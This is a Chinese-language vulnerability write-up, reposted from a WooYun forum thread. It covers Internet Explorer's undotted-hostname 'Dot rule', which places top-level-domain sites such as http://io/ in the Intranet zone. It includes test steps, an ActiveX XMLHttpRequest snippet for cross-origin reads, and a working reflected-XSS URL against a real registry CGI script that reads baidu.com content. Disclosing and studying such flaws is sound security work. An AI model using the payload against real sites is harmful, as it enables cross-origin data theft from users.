漏洞分析:

由于IE有中一个未公开的Intranet检测机制:"The Dot rule",它会检测hostname中有没有点,没点既是"本地intranet"域.

糟糕的是有些域名管理机构直接将域名后缀作为域名解析到nic的网站上,导致了这个问题,我已经在XP/IE8,WIN7/IE9进行了验证.

测试方法:

1. 访问一个"顶级域名"的Web服务器, 例如

http://ac/ or http://io/

如果没法访问:

(1) 可能跟你设置的DNS服务器有关(我设置的是8.8.8.8和8.8.4.4)

(2) 有些DNS需要先加个点访问(e.g:http://ac.),然后再访问http://ac

2. 如果你没有开启intranet, 你可能会收到一个提示询问是否开启.(有些系统是默认打开的)

3. 打开IE的控制台模拟一次XSS攻击,使用XMLHttpRequest发起一个跨源请求.

测试代码:

"xhr=new ActiveXObject('Microsoft.XMLHTTP');xhr.open('GET','http://mmme.me');xhr.onreadystatechange =function(){(xhr.readyState==4&&xhr.status==200)&&alert(xhr.responseText);};xhr.send(null);"

(1)在你制造第一个请求的时候,浏览器会弹出一个确认框,"该页面正在访问其控制范围之外的内容...是否继续",点击“是”即可.(我觉得他们改成"你是否接受黑客的入侵?"会比较好:P)

4.如果成功弹出数据则表明利用成功.

漏洞利用需要的条件:

1. DNS必须解析这个域名.

2. Intranet设置是开启的.

3. 会弹出一个风险提示框,用户必须点击了"是".

4. 必须有那些顶级域名网站中的一个跨站漏洞.

note:

1.IE6的Intranet是没有办法关闭的.

2.部分IE8默认开启的Intranet设置.

3.微软不打算修补这个漏洞  

弹百度:

http://io/cgi-bin/idn?data=jackmasa%1N%1e<form/name=form1><input/name=idn></form><script>xhr%3Dnew%20ActiveXObject('Microsoft.XMLHTTP')%3Bxhr.open('GET'%2C'http://www.baidu.com')%3Bxhr.onreadystatechange%20%3Dfunction()%7B(xhr.readyState%3D%3D4%26%26xhr.status%3D%3D200)%26%26alert(xhr.responseText)%3B%7D%3Bxhr.send(null)%3B%3C%2Fscript%3E--%3E%3C!--

转自:http://zone.wooyun.org/content/1149